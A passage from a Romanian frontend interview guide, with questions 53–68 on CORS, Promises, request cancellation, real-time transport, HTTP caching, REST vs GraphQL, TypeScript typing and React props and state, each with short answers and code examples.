Access-Control-Allow-Methods: GET, POST, PUT, DELETE
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Allow-Credentials: true

Detalii importante:

  • Cu credentials: 'include' (cookie-uri), serverul nu poate răspunde cu *, trebuie să numească originea exactă.
  • CORS e impus de browser; Postman sau curl nu îl aplică, de aceea „în Postman merge”.
  • mode: 'no-cors' în fetch nu rezolvă nimic: primești un răspuns opac pe care nu-l poți citi.

În dezvoltare, soluția practică este un proxy în dev server (de exemplu server.proxy în Vite), astfel încât browserul vede un singur origin. În producție, se configurează serverul sau se servesc frontend-ul și API-ul de pe același domeniu.

Ce urmărește intervievatorul: Fiecare dezvoltator frontend lovește această eroare, iar intervievatorul vrea să vadă că știi de ce apare și cine o rezolvă. Greșeala tipică: încercarea de a „repara” CORS din frontend cu no-cors.

53 Mid

Care e diferența dintre Promise.all, Promise.allSettled, Promise.race și Promise.any?

Răspuns scurt: all așteaptă toate și se respinge la prima eroare; allSettled așteaptă toate și raportează rezultatul fiecăreia; race se stabilește după primul promise terminat, cu succes sau eroare; any se rezolvă la primul succes și se respinge doar dacă toate eșuează.

Toate primesc un iterabil de promisiuni și întorc un promise nou.

JavaScript
const p1 = fetch('/api/user').then(r => r.json());
const p2 = fetch('/api/cursuri').then(r => r.json());
const p3 = fetch('/api/notificari').then(r => r.json());

Promise.all: când ai nevoie de toate rezultatele; dacă una eșuează, nu are sens să continui.

JavaScript
const [user, cursuri] = await Promise.all([p1, p2]);

Se respinge imediat la prima eroare. Celelalte cereri nu se opresc, doar rezultatele lor sunt ignorate.

Promise.allSettled (ES2020): când rezultatele sunt independente și vrei să afișezi ce a reușit.

JavaScript
const rezultate = await Promise.allSettled([p1, p2, p3]);
rezultate.forEach(r => {
  if (r.status === 'fulfilled') console.log(r.value);
  else console.warn(r.reason);
});

Un dashboard cu widget-uri independente e cazul clasic: o eroare la notificări nu trebuie să ascundă cursurile.

Promise.race: primul care se stabilește câștigă. Folosit pentru timeout:

JavaScript
const timeout = (ms) => new Promise((_, rej) => setTimeout(() => rej(new Error('timeout')), ms));
const date = await Promise.race([p2, timeout(5000)]);

Atenție: cererea nu e anulată la timeout; pentru anulare reală folosești AbortSignal.timeout().

Promise.any (ES2021): primul succes. Util când ai mai multe surse echivalente (oglinzi, CDN-uri). Dacă toate eșuează, primești un AggregateError cu toate erorile.

Pe un array gol: all și allSettled se rezolvă imediat cu [], any se respinge, iar race rămâne în așteptare la nesfârșit.

Ce urmărește intervievatorul: Arată că știi să coordonezi mai multe operații asincrone după cerințele produsului. Greșeala tipică: folosirea lui Promise.all acolo unde o singură eroare nu ar trebui să strice toată pagina.

54 Mid

Cum anulezi o cerere fetch și cum eviți race conditions la o căutare cu rezultate live?

Răspuns scurt: Anulezi cu AbortController: transmiți signal la fetch și apelezi abort() când cererea nu mai e necesară. La căutare, anulezi cererea anterioară la fiecare tastare, ca un răspuns vechi și lent să nu suprascrie rezultatele pentru termenul nou.

Problema: utilizatorul scrie „rea”, apoi „react”. Pleacă două cereri. Dacă prima răspunde mai târziu decât a doua, interfața afișează rezultatele pentru „rea” deși în câmp scrie „react”. Asta e o race condition: rezultatul depinde de ordinea în care sosesc răspunsurile.

Soluția în React:

JSX
function Cautare() {
  const [termen, setTermen] = useState('');
  const [rezultate, setRezultate] = useState([]);

  useEffect(() => {
    if (!termen) { setRezultate([]); return; }
    const controller = new AbortController();

    const id = setTimeout(async () => {
      try {
        const res = await fetch(`/api/cauta?q=${encodeURIComponent(termen)}`, {
          signal: controller.signal,
        });
        const date = await res.json();
        setRezultate(date);
      } catch (err) {
        if (err.name !== 'AbortError') console.error(err);
      }
    }, 300); // debounce

    return () => {
      clearTimeout(id);
      controller.abort(); // anulează cererea dacă termenul s-a schimbat
    };
  }, [termen]);

  return <input value={termen} onChange={e => setTermen(e.target.value)} />;
}

De ce funcționează: la fiecare schimbare a termenului, React rulează funcția de cleanup a efectului anterior, care anulează timer-ul și cererea în curs. Un fetch anulat se respinge cu AbortError, pe care îl ignori intenționat.

Alte variante utile:

  • un flag let ignora = false setat în cleanup, dacă API-ul folosit nu acceptă signal;
  • AbortSignal.timeout(5000) pentru timeout;
  • un singur controller poate anula mai multe cereri și listener-e deodată.

În aplicații reale, TanStack Query sau SWR rezolvă automat aceste probleme (cheie per termen, anulare, cache), dar intervievatorul vrea să vadă că înțelegi mecanismul.

Ce urmărește intervievatorul: E un bug real care apare în aproape orice căutare live. Greșeala tipică: soluția doar cu debounce, care reduce numărul cererilor, dar nu elimină race condition-ul.

55 Mid

Ce variante ai pentru date în timp real: polling, WebSocket sau Server-Sent Events?

Răspuns scurt: Polling înseamnă cereri repetate la interval, simplu dar ineficient. Server-Sent Events oferă un flux unidirecțional de la server la client peste HTTP, cu reconectare automată. WebSocket deschide o conexiune bidirecțională persistentă, potrivită pentru chat, jocuri sau editare colaborativă.

Polling scurt: clientul întreabă la fiecare câteva secunde.

JavaScript
const id = setInterval(async () => {
  const res = await fetch('/api/notificari');
  afiseaza(await res.json());
}, 10000);

Simplu, funcționează peste orice infrastructură, dar generează multe cereri inutile, iar întârzierea e de până la un interval. Bun pentru date care se schimbă rar.

Long polling: serverul ține cererea deschisă până are ceva nou, apoi clientul trimite imediat alta. Reduce întârzierea, dar ține conexiuni ocupate pe server.

Server-Sent Events (SSE): o conexiune HTTP pe care serverul trimite evenimente text.

JavaScript
const sursa = new EventSource('/api/flux-comenzi');
sursa.onmessage = (e) => adaugaComanda(JSON.parse(e.data));
sursa.onerror = () => console.warn('reconectare...');
// la final: sursa.close();

Unidirecțional (server spre client), reconectare automată inclusă, trece prin proxy-uri și funcționează bine cu HTTP/2. Potrivit pentru notificări, progresul unei operații, afișarea treptată a răspunsurilor generate de modele AI.

WebSocket: protocol separat, bidirecțional, cu mesaje în ambele direcții pe aceeași conexiune.

JavaScript
const ws = new WebSocket('wss://exemplu.ro/chat');
ws.onopen = () => ws.send(JSON.stringify({ tip: 'intra', camera: 'general' }));
ws.onmessage = (e) => afiseazaMesaj(JSON.parse(e.data));

Latență mică, potrivit pentru chat, cursori colaborativi, jocuri. Costuri: reconectarea, heartbeat-ul și autentificarea le scrii tu sau folosești o librărie, iar scalarea pe server e mai complexă.

Criteriul de alegere: cât de des se schimbă datele, dacă clientul trimite des date înapoi și ce suportă infrastructura.

Ce urmărește intervievatorul: Verifică dacă alegi tehnologia după cerințe, nu din obișnuință. Greșeala tipică: WebSocket propus pentru orice, inclusiv pentru notificări care se schimbă o dată pe minut.

56 Senior

Cum funcționează cache-ul HTTP? Explică Cache-Control, ETag și strategia pentru fișierele unei aplicații.

Răspuns scurt: Cache-Control spune browserului și CDN-urilor cât timp pot refolosi un răspuns fără să întrebe serverul; ETag permite revalidarea, la care serverul răspunde 304 dacă resursa nu s-a schimbat. Pentru aplicații, fișierele cu hash în nume primesc cache foarte lung, iar index.html primește no-cache.

Cache-ul HTTP evită descărcarea repetată a acelorași resurse.

Prospețime (freshness) cu Cache-Control:

  • max-age=31536000: răspunsul poate fi folosit un an fără întrebări;
  • immutable: nici la reîncărcarea paginii nu se revalidează;
  • no-cache: poate fi stocat, dar trebuie revalidat la fiecare folosire (numele induce în eroare);
  • no-store: nu se stochează deloc (date sensibile);
  • private vs public: dacă CDN-urile și proxy-urile pot păstra răspunsul;
  • s-maxage: durată separată pentru CDN;
  • stale-while-revalidate=60: servește copia veche, apoi actualizează în fundal.

Revalidare cu ETag sau Last-Modified:

Răspuns:  ETag: "a1b2c3"
Cerere:   If-None-Match: "a1b2c3"
Răspuns:  304 Not Modified (fără corp)

Strategia standard pentru o aplicație construită cu Vite sau webpack:

/assets/index-4f7a2c.js   Cache-Control: public, max-age=31536000, immutable
/assets/index-9b1e0d.css  Cache-Control: public, max-age=31536000, immutable
/index.html               Cache-Control: no-cache
/api/...                  Cache-Control: private, no-cache (sau no-store)

Bundler-ul pune un hash al conținutului în numele fișierului. O modificare produce un nume nou, deci cache-ul lung nu servește niciodată cod vechi, iar index.html, mereu revalidat, indică spre fișierele noi. Fără acest mecanism, utilizatorii pot rula o combinație de JS vechi cu API nou după un deploy.

Peste cache-ul HTTP pot exista alte straturi: Service Worker (Cache API, control complet în JS, aplicații offline), CDN cu reguli proprii și cache-ul de date din aplicație (TanStack Query). La depanare, în DevTools, Network, coloana Size arată „disk cache” sau „memory cache”, iar opțiunea „Disable cache” ajută să reproduci experiența unui vizitator nou.

Ce urmărește intervievatorul: La senior se verifică înțelegerea implicațiilor de deploy și performanță, nu doar a header-elor. Greșeala tipică: cache lung pus pe index.html, care blochează utilizatorii pe o versiune veche.

57 Senior

REST sau GraphQL? Ce compromisuri vezi din perspectiva frontend-ului?

Răspuns scurt: REST expune resurse la URL-uri distincte, e simplu și folosește bine cache-ul HTTP, dar poate aduce prea multe sau prea puține date. GraphQL lasă clientul să ceară exact câmpurile necesare, cu costul unei infrastructuri mai complexe și al cache-ului gestionat în client.

REST

  • fiecare resursă are URL-ul ei: /api/cursuri/5, /api/cursuri/5/lectii;
  • cache HTTP și CDN funcționează natural pe GET;
  • simplu de depanat (orice cerere se vede în Network);
  • probleme: over-fetching (primești 40 de câmpuri când ai nevoie de 3) și under-fetching (o pagină are nevoie de 4 cereri succesive, fiecare depinzând de precedenta).

GraphQL

query {
  curs(id: 5) {
    titlu
    autor { nume }
    lectii(primele: 3) { titlu durata }
  }
}
  • clientul cere exact forma datelor, într-o singură cerere;
  • schema tipată permite generarea automată de tipuri TypeScript (GraphQL Code Generator);
  • probleme: de obicei un singur endpoint POST, deci cache-ul HTTP nu mai ajută, iar cache-ul se mută în client (Apollo, urql, Relay, cu normalizare după id); erorile pot veni cu status 200; interogările costisitoare trebuie limitate pe server (adâncime, complexitate); problema N+1 se rezolvă pe server cu tehnici de grupare (DataLoader).

Alternative de menționat:

  • BFF (Backend for Frontend): un strat REST făcut special pentru o anumită interfață, care agregă serviciile;
  • tRPC sau acțiunile de server din Next.js: tipuri partajate între client și server într-un monorepo TypeScript, fără schemă separată;
  • REST cu OpenAPI și generare de client tipat.

Criterii de decizie: câte interfețe diferite consumă aceleași date (web, mobil, parteneri), cât de variate sunt nevoile de date ale ecranelor, experiența echipei de backend și cât contează cache-ul la nivel de CDN. Pentru un produs mic, cu un singur client, REST bine proiectat e de obicei suficient.

Ce urmărește intervievatorul: La senior contează cântărirea compromisurilor și adaptarea la context. Greșeala tipică: tratarea GraphQL ca o versiune mai nouă, deci mai bună, a lui REST.

TypeScript

58 Junior

De ce ai folosi TypeScript? Ce verifică el și ce nu verifică?

Răspuns scurt: TypeScript adaugă tipuri statice peste JavaScript și verifică la compilare că folosești corect valorile: proprietăți, argumente, valori posibile null. Tipurile dispar la compilare, deci nu validează nimic la rulare, cum ar fi datele venite de la un API.

TypeScript este un superset al JavaScript: orice cod JS valid e și TS valid (cu eventuale erori de tip). Compilatorul tsc, sau unelte ca Vite și esbuild, elimină tipurile și produc JavaScript obișnuit.

Ce câștigi:

  • erori prinse înainte de rulare: proprietăți scrise greșit, argumente lipsă, undefined nefiltrat;
  • autocompletare și navigare precisă în editor;
  • refactorizare sigură: dacă redenumești un câmp, editorul arată toate locurile afectate;
  • tipurile servesc drept documentație care nu se învechește.
TypeScript
interface Curs {
  id: number;
  titlu: string;
  pret?: number;
}

function formateazaPret(curs: Curs): string {
  return curs.pret.toFixed(2);
  // Eroare: 'curs.pret' is possibly 'undefined'.
}

Ce nu face: nu verifică datele la rulare.

TypeScript
const res = await fetch('/api/curs/1');
const curs: Curs = await res.json(); // TS te crede pe cuvânt

res.json() întoarce any, iar tipul declarat e doar o promisiune. Dacă API-ul trimite titlu: null, aplicația cade la rulare. Pentru date externe (API, localStorage, formulare) folosești validare la rulare, de exemplu cu Zod, care produce și tipul TypeScript din aceeași schemă.

Setarea "strict": true din tsconfig.json trebuie activată în proiecte noi; fără ea, multe verificări importante, inclusiv cele pentru null, sunt oprite.

Costul: un pas de build, o curbă de învățare și uneori tipuri complicate pentru librării dinamice. Pentru aplicații întreținute de mai mulți oameni, beneficiile sunt în general considerate mai mari decât costul.

Ce urmărește intervievatorul: Verifică dacă înțelegi limitele TypeScript, nu doar avantajele. Greșeala tipică: convingerea că tipurile protejează aplicația de date greșite venite din API.

59 Junior

Care e diferența dintre interface și type în TypeScript?

Răspuns scurt: Ambele descriu forma unui obiect și în majoritatea cazurilor sunt interschimbabile. interface poate fi extinsă și redeclarată (declaration merging), iar type poate descrie orice tip: uniuni, tupluri, primitive, tipuri condiționale.

TypeScript
interface Utilizator {
  id: number;
  nume: string;
}
interface Admin extends Utilizator {
  permisiuni: string[];
}

type Produs = {
  id: number;
  titlu: string;
};
type ProdusRedus = Produs & { reducere: number }; // intersecție

Ce poate doar type:

TypeScript
type Status = 'activ' | 'suspendat' | 'sters';     // uniune de literali
type Coordonate = [number, number];                 // tuplu
type Id = string | number;                          // alias pentru primitive
type Handler = (e: MouseEvent) => void;             // tip de funcție (merge și cu interface, dar mai verbos)
type Optional<T> = { [K in keyof T]?: T[K] };       // tip mapat

Ce poate doar interface: declaration merging, adică două declarații cu același nume se combină.

TypeScript
interface Window {
  analytics: { track(e: string): void };
}
// acum window.analytics e recunoscut

E util pentru a extinde tipurile globale sau ale unei librării, dar poate surprinde dacă se întâmplă accidental.

Diferențe mai fine: la conflict de proprietăți, extends dă o eroare clară, pe când & poate produce în tăcere tipul never pentru acea proprietate. Mesajele de eroare pentru interfețe sunt adesea mai lizibile, iar compilatorul le tratează puțin mai eficient în ierarhii mari.

Regula practică folosită de multe echipe: interface pentru forme de obiecte și contracte publice (props de componente, modele de date), type pentru uniuni, tupluri și tipuri compuse. Cel mai important e să fie consecvent în proiect.

Ce urmărește intervievatorul: E o întrebare foarte frecventă de TypeScript. Greșeala tipică: răspunsul „sunt identice” sau, invers, o listă de diferențe învechite din versiuni vechi.

60 Junior

Care e diferența dintre any, unknown și never?

Răspuns scurt: any oprește verificarea tipurilor; poți face orice cu valoarea. unknown înseamnă „poate fi orice”, dar te obligă să verifici tipul înainte să o folosești. never reprezintă o valoare care nu poate exista, de exemplu rezultatul unei funcții care aruncă mereu eroare.

any este o ieșire de urgență: valoarea nu mai e verificată, iar lipsa de verificare se propagă la tot ce atinge.

TypeScript
let x: any = 'text';
x.toFixed(2);      // compilează, cade la rulare
const y: number = x; // compilează

unknown este varianta sigură pentru valori al căror tip nu îl știi: date dintr-un JSON.parse, erori prinse în catch, mesaje primite prin postMessage.

TypeScript
function lungime(valoare: unknown): number {
  // valoare.length; // Eroare: 'valoare' is of type 'unknown'
  if (typeof valoare === 'string') return valoare.length; // aici e string
  if (Array.isArray(valoare)) return valoare.length;
  return 0;
}

try {
  riscant();
} catch (err) { // err este 'unknown' cu useUnknownInCatchVariables (inclus în strict)
  const mesaj = err instanceof Error ? err.message : String(err);
}

never este tipul fără nicio valoare:

  • tipul de return al unei funcții care nu se termină normal: function eroare(m: string): never { throw new Error(m); }
  • ce rămâne după ce ai eliminat toate variantele unei uniuni;
  • folosit pentru verificarea exhaustivă:
TypeScript
type Forma = 'cerc' | 'patrat';
function arie(f: Forma) {
  switch (f) {
    case 'cerc': return 1;
    case 'patrat': return 2;
    default: {
      const imposibil: never = f; // eroare dacă adaugi 'triunghi' și uiți cazul
      return imposibil;
    }
  }
}

Regula practică: evită any (regula ESLint no-explicit-any ajută), folosește unknown la granițele aplicației și restrânge tipul prin verificări.

Ce urmărește intervievatorul: Testează dacă știi să scrii cod tipat sigur la granițele aplicației. Greșeala tipică: folosirea lui any ori de câte ori compilatorul se plânge.

61 Junior

Ce sunt union types și cum funcționează type narrowing?

Răspuns scurt: Un union type (A | B) spune că o valoare poate fi de mai multe tipuri. Narrowing înseamnă că TypeScript restrânge tipul în interiorul unui bloc pe baza verificărilor tale: typeof, instanceof, in, comparații sau funcții type guard.

TypeScript
function afiseazaId(id: string | number) {
  // id.toUpperCase(); // Eroare: nu există pe number
  if (typeof id === 'string') {
    console.log(id.toUpperCase()); // aici id: string
  } else {
    console.log(id.toFixed(0));    // aici id: number
  }
}

Compilatorul urmărește fluxul codului (control flow analysis) și știe ce tip are variabila în fiecare ramură.

Modalități de narrowing:

  • typeof x === 'string' pentru primitive;
  • x instanceof Date pentru clase;
  • 'email' in user pentru a verifica existența unei proprietăți;
  • comparații cu literali sau cu null: if (x !== null), if (status === 'eroare');
  • truthiness: if (user) elimină null și undefined, dar și '' sau 0, atenție;
  • Array.isArray(x).

Type guard-uri proprii, cu predicatul valoare is Tip:

TypeScript
interface Pisica { miauna(): void }
interface Caine { latra(): void }

function ePisica(a: Pisica | Caine): a is Pisica {
  return 'miauna' in a;
}

function sunet(a: Pisica | Caine) {
  if (ePisica(a)) a.miauna();
  else a.latra();
}

Începând cu TypeScript 5.5, compilatorul deduce singur predicatul pentru funcții simple, așa că lista.filter(x => x !== null) produce direct un array fără null.

Narrowing-ul se pierde uneori: într-un callback apelat mai târziu, compilatorul nu mai garantează că o variabilă let nu s-a schimbat între timp. Soluția e copierea valorii într-o constantă.

Ce urmărește intervievatorul: Narrowing-ul e mecanismul pe care se bazează tot TypeScript-ul de zi cu zi. Greșeala tipică: folosirea lui as pentru a forța tipul în loc de o verificare reală.

62 Junior

Ce fac proprietățile opționale, readonly și opțiunea strictNullChecks?

Răspuns scurt: O proprietate opțională (titlu?: string) poate lipsi, deci tipul ei include undefined. readonly împiedică reasignarea la compilare. strictNullChecks face ca null și undefined să fie tipuri separate, astfel încât compilatorul te obligă să le tratezi.

TypeScript
interface Setari {
  readonly id: string;
  tema?: 'light' | 'dark';     // tipul efectiv: 'light' | 'dark' | undefined
  limba: string | null;        // trebuie să existe, dar poate fi null
}

const s: Setari = { id: 'a1', limba: null };
s.id = 'b2';   // Eroare: proprietate readonly
s.tema?.toUpperCase();
const tema = s.tema ?? 'light';

Diferența dintre tema?: string și tema: string | undefined: în primul caz poți omite complet cheia, în al doilea trebuie să o scrii explicit, chiar cu undefined. Cu opțiunea exactOptionalPropertyTypes, TypeScript face distincția și mai strict.

readonly există doar la compilare; la rulare obiectul e la fel de modificabil. Pentru array-uri:

TypeScript
function total(preturi: readonly number[]) {
  // preturi.push(1); // Eroare
  return preturi.reduce((a, b) => a + b, 0);
}

E util pentru a semnala că o funcție nu modifică datele primite. as const face un obiect sau un array complet readonly și păstrează valorile literale.

strictNullChecks (inclus în strict): fără el, null și undefined sunt acceptate peste tot, iar cea mai frecventă eroare din JavaScript, „Cannot read properties of undefined”, trece neobservată.

TypeScript
const btn = document.querySelector('button'); // HTMLButtonElement | null
btn.addEventListener('click', f);               // Eroare cu strictNullChecks
btn?.addEventListener('click', f);              // corect

Operatorul ! (non-null assertion, btn!.click()) îi spune compilatorului „știu eu că nu e null”. Folosit des, anulează exact protecția pe care o oferă strictNullChecks.

Ce urmărește intervievatorul: Verifică dacă lucrezi cu TypeScript în modul strict, cum se întâmplă în proiectele serioase. Greșeala tipică: abuzul de operatorul ! ca să tacă compilatorul.

63 Mid

Ce sunt generics? Scrie o funcție generică tipată corect.

Răspuns scurt: Generics sunt parametri de tip: permit unei funcții, clase sau interfețe să lucreze cu mai multe tipuri păstrând legătura dintre ele. De exemplu, o funcție care întoarce primul element al unui array de T întoarce un T, nu any.

Fără generics, ai de ales între cod duplicat pentru fiecare tip și any, care pierde informația:

TypeScript
function primulAny(arr: any[]): any { return arr[0]; }
const x = primulAny([1, 2]); // any, nicio verificare

Cu un parametru de tip T:

TypeScript
function primul<T>(arr: T[]): T | undefined {
  return arr[0];
}
const n = primul([1, 2, 3]);      // number | undefined, T dedus automat
const s = primul(['a', 'b']);     // string | undefined

Constrângeri cu extends, când ai nevoie de anumite proprietăți:

TypeScript
function grupeazaDupa<T, K extends keyof T>(lista: T[], cheie: K): Record<string, T[]> {
  return lista.reduce((acc, item) => {
    const k = String(item[cheie]);
    (acc[k] ??= []).push(item);
    return acc;
  }, {} as Record<string, T[]>);
}

const cursuri = [
  { titlu: 'React', nivel: 'mid' },
  { titlu: 'HTML', nivel: 'junior' },
];
grupeazaDupa(cursuri, 'nivel');   // corect
grupeazaDupa(cursuri, 'pret');    // Eroare: 'pret' nu e cheie validă

K extends keyof T leagă al doilea argument de primul: poți transmite doar chei care există pe elemente.

Generics apar peste tot în frontend:

  • useState<Curs | null>(null);
  • Promise<User>, Array<T>, Record<K, V>;
  • funcții de fetch tipate: async function getJson<T>(url: string): Promise<T>, cu mențiunea că tipul e doar o presupunere fără validare la rulare;
  • componente React generice, de exemplu un tabel Tabel<T> care primește rânduri de tip T și coloane cu chei din T.

Regulă de bun-simț: un parametru de tip folosit o singură dată în semnătură nu aduce nimic; generics au sens când leagă tipuri între ele.

Ce urmărește intervievatorul: La mid se așteaptă să scrii cod reutilizabil fără să pierzi tipurile. Greșeala tipică: generics adăugați decorativ, fără constrângeri, sau înlocuiți cu any.

64 Mid

Explică utility types precum Partial, Pick, Omit, Record și ReturnType, cu exemple din frontend.

Răspuns scurt: Sunt tipuri generice predefinite care derivă tipuri noi din cele existente: Partial face toate câmpurile opționale, Pick păstrează doar câteva, Omit elimină câteva, Record construiește un obiect cu chei și valori date, iar ReturnType extrage tipul întors de o funcție.

Scopul lor e să ai o singură sursă de adevăr pentru un model și să derivi variantele, fără să copiezi definiții care apoi diverg.

TypeScript
interface Curs {
  id: number;
  titlu: string;
  descriere: string;
  pret: number;
  publicat: boolean;
}

// formular de editare: oricare câmp poate fi schimbat
type ActualizareCurs = Partial<Omit<Curs, 'id'>>;
function actualizeaza(id: number, date: ActualizareCurs) { /* PATCH */ }
actualizeaza(1, { pret: 297 }); // corect

// card în listă: doar câteva câmpuri
type CardCurs = Pick<Curs, 'id' | 'titlu' | 'pret'>;

// creare: id-ul îl dă serverul
type CursNou = Omit<Curs, 'id'>;

// dicționar de etichete pentru fiecare nivel
type Nivel = 'junior' | 'mid' | 'senior';
const etichete: Record<Nivel, string> = {
  junior: 'Începător',
  mid: 'Intermediar',
  senior: 'Avansat',
}; // eroare dacă lipsește o cheie

Alte utilitare des folosite:

  • Required<T>: toate câmpurile obligatorii;
  • Readonly<T>: toate câmpurile readonly;
  • ReturnType<typeof f> și Parameters<typeof f>: tipurile unei funcții existente, utile pentru librării care nu-și exportă tipurile;
  • Awaited<T>: tipul rezolvat al unui Promise;
  • NonNullable<T>: elimină null și undefined;
  • Extract și Exclude: filtrează membrii unei uniuni.
TypeScript
const creeazaStore = () => ({ user: null as string | null, tema: 'light' });
type Store = ReturnType<typeof creeazaStore>;

// props ale unui element nativ, extinse
type ButonProps = React.ComponentProps<'button'> & { variant: 'primar' | 'secundar' };

Atenție: Omit nu verifică dacă cheia există (Omit<Curs, 'prett'> compilează fără eroare), iar Partial e superficial, nu face opționale și câmpurile obiectelor imbricate.

Ce urmărește intervievatorul: Arată dacă modelezi tipurile fără duplicare și știi biblioteca standard. Greșeala tipică: redefinirea manuală a acelorași interfețe în mai multe variante care ajung să nu mai fie sincronizate.

65 Mid

Ce sunt discriminated unions și cum le folosești pentru starea unei cereri?

Răspuns scurt: O discriminated union este o uniune de tipuri obiect care au o proprietate comună cu valori literale diferite (de exemplu status). Verificând acea proprietate, TypeScript știe exact ce câmpuri există, iar stările imposibile devin imposibil de scris.

Varianta frecventă, dar fragilă, de a modela o cerere:

TypeScript
interface StareSlaba {
  loading: boolean;
  data?: Curs[];
  error?: string;
}
// permite combinații fără sens: loading true + error + data simultan

Cu o uniune discriminată:

TypeScript
type Stare<T> =
  | { status: 'idle' }
  | { status: 'loading' }
  | { status: 'success'; data: T }
  | { status: 'error'; error: string };

function Lista({ stare }: { stare: Stare<Curs[]> }) {
  switch (stare.status) {
    case 'idle':
      return null;
    case 'loading':
      return <Spinner />;
    case 'success':
      return <ul>{stare.data.map(c => <li key={c.id}>{c.titlu}</li>)}</ul>;
    case 'error':
      return <p role="alert">{stare.error}</p>;
  }
}

În ramura 'success', stare.data e garantat; în 'error', stare.data nici nu există ca proprietate accesibilă. Nu mai ai nevoie de ?. sau de verificări defensive.

Verificarea exhaustivă: dacă adaugi mai târziu { status: 'empty' } și ai o ramură default cu const x: never = stare;, compilatorul îți arată toate locurile în care trebuie tratat cazul nou. Cu noImplicitReturns sau cu un tip de return explicit, chiar și fără default primești eroare.

Același tipar e folosit pentru:

  • acțiunile unui reducer ({ type: 'adauga'; item: Item } | { type: 'sterge'; id: string });
  • evenimente și mesaje între componente sau între ferestre;
  • rezultatul unei operații: { ok: true; value: T } | { ok: false; error: E }.

Principiul din spate se rezumă adesea prin expresia „make impossible states impossible”: modelezi tipurile astfel încât combinațiile invalide să nu poată fi construite.

Ce urmărește intervievatorul: La mid contează modelarea corectă a stării, sursă de multe bug-uri în interfețe. Greșeala tipică: mai multe flag-uri booleene independente care permit stări contradictorii.

66 Senior

Explică tipurile condiționale, mapped types și cuvântul infer. Unde le-ai folosi?

Răspuns scurt: Tipurile condiționale (T extends U ? X : Y) aleg un tip în funcție de altul, mapped types transformă fiecare proprietate ([K in keyof T]), iar infer extrage un tip dintr-o structură. Apar mai ales în librării și utilitare tipate.

Mapped types iterează peste cheile unui tip:

TypeScript
type Optional<T> = { [K in keyof T]?: T[K] };     // așa e definit Partial
type Setteri<T> = {
  [K in keyof T as `set${Capitalize<string & K>}`]: (v: T[K]) => void;
};
type S = Setteri<{ nume: string; varsta: number }>;
// { setNume: (v: string) => void; setVarsta: (v: number) => void }

Clauza as (TS 4.1+) redenumește cheile, iar template literal types construiesc nume noi.

Tipuri condiționale și infer:

TypeScript
type DespachetPromise<T> = T extends Promise<infer U> ? U : T;
type A = DespachetPromise<Promise<number>>; // number
type B = DespachetPromise<string>;          // string

type ElementArray<T> = T extends readonly (infer E)[] ? E : never;
type C = ElementArray<['a', 'b']>;           // 'a' | 'b'

infer U declară o variabilă de tip completată din potrivire; așa sunt definite ReturnType și Awaited.

Un detaliu important: tipurile condiționale sunt distributive peste uniuni când parametrul e „gol”:

TypeScript
type DoarString<T> = T extends string ? T : never;
type D = DoarString<'a' | 1 | 'b'>; // 'a' | 'b'
// pentru a dezactiva distribuirea: [T] extends [string]

Unde le folosești în practică:

  • un client API tipat, unde tipul răspunsului se deduce din ruta transmisă;
  • props condiționate: dacă as="a", componenta acceptă href;
  • transformarea automată a unui model (de exemplu toate câmpurile Date devin string în varianta serializată JSON).

Compromisul: tipurile foarte „deștepte” încetinesc editorul și produc erori greu de citit. În codul aplicației preferi tipuri simple; magia rămâne în câteva utilitare bine testate.

Ce urmărește intervievatorul: La senior se urmărește stăpânirea sistemului de tipuri, dar și judecata de a nu-l complica inutil. Greșeala tipică: ignorarea comportamentului distributiv sau tipuri ilizibile în codul de zi cu zi.

React și state management

67 Junior

Ce este React și cum funcționează randarea: virtual DOM și reconciliere?

Răspuns scurt: React este o librărie pentru interfețe construite din componente. Când starea se schimbă, React rulează din nou componentele, compară noul arbore de elemente cu cel anterior (reconciliere) și aplică în DOM doar diferențele.

În React descrii cum trebuie să arate interfața pentru o anumită stare, nu pașii prin care modifici DOM-ul. O componentă e o funcție care primește props și întoarce elemente:

JSX
function Salut({ nume }) {
  return <h1>Salut, {nume}!</h1>;
}

Ciclul unei actualizări: 1. Declanșare: un setState, un context schimbat sau o randare a părintelui. 2. Randare: React apelează componentele afectate și obține un arbore nou de elemente (obiecte JavaScript simple, numite uneori virtual DOM). 3. Reconciliere: compară arborele nou cu cel anterior. Algoritmul folosește euristici ca să rămână rapid: dacă tipul unui element se schimbă (din div în section, sau altă componentă), tot subarborele e recreat; pentru liste, folosește key ca să știe ce elemente s-au mutat. 4. Commit: aplică în DOM real doar modificările necesare, apoi rulează efectele.

„Randare” în React nu înseamnă modificare de DOM. O componentă se poate randa de multe ori fără nicio schimbare vizibilă. De aceea componentele trebuie să fie pure: aceleași props și state, același rezultat, fără efecte secundare în corpul funcției. În modul de dezvoltare, StrictMode rulează intenționat componentele de două ori ca să scoată la iveală impuritățile.

Virtual DOM-ul nu e „mai rapid decât DOM-ul” în sine; avantajul e modelul declarativ, în care React calculează singur diferențele. React 18 a adăugat randarea concurentă, care poate întrerupe randări mai puțin urgente, iar React Compiler (stabil din 2025) poate adăuga automat memoizarea în timpul build-ului.

Ce urmărește intervievatorul: Întrebarea deschide de obicei discuția despre React și arată dacă înțelegi modelul, nu doar sintaxa. Greșeala tipică: confuzia dintre randare și actualizarea DOM-ului.

68 Junior

Care e diferența dintre props și state?

Răspuns scurt: Props sunt date primite de la componenta părinte, doar pentru citire în componenta copil. State-ul este memoria internă a componentei, pe care o modifică ea însăși prin funcția de actualizare, declanșând o nouă randare.

JSX
function Contor({ pas = 1, eticheta }) {     // props: primite din afară
  const [valoare, setValoare] = useState(0); // state: al componentei
  return (
    <button onClick={() => setValoare(v => v + pas)}>
      {eticheta}: {valoare}
    </button>
  );
}

<Contor eticheta="Lecții terminate" pas={1} />

Props

  • vin de la părinte, ca argumentele unei funcții;
  • nu le modifici în copil (props.pas = 2 e o greșeală);
  • dacă părintele trimite valori noi, copilul se randează cu ele;
  • pot fi orice: valori, obiecte, funcții (callback-uri), alte elemente (children).

State

  • aparține componentei și persistă între randări;
  • se schimbă doar prin funcția de setare, care programează o nouă randare;
  • e izolat: două instanțe <Contor /> au fiecare propriul state.

Fluxul datelor este unidirecțional: datele coboară prin props, iar evenimentele urcă prin callback-uri transmise ca props.

JSX
function Parinte() {
  const [total, setTotal] = useState(0);
  return <Copil onAdauga={() => setTotal(t => t + 1)} total={total} />;
}

Întrebarea care decide unde stă o valoare: se schimbă în timp? Dacă nu, e o constantă sau o prop. Poate fi calculată din alte props sau state? Atunci nu o pune în state, calculeaz-o la randare (de exemplu const total = cos.reduce(...)). Datele derivate puse în state ajung inevitabil desincronizate de sursa lor.

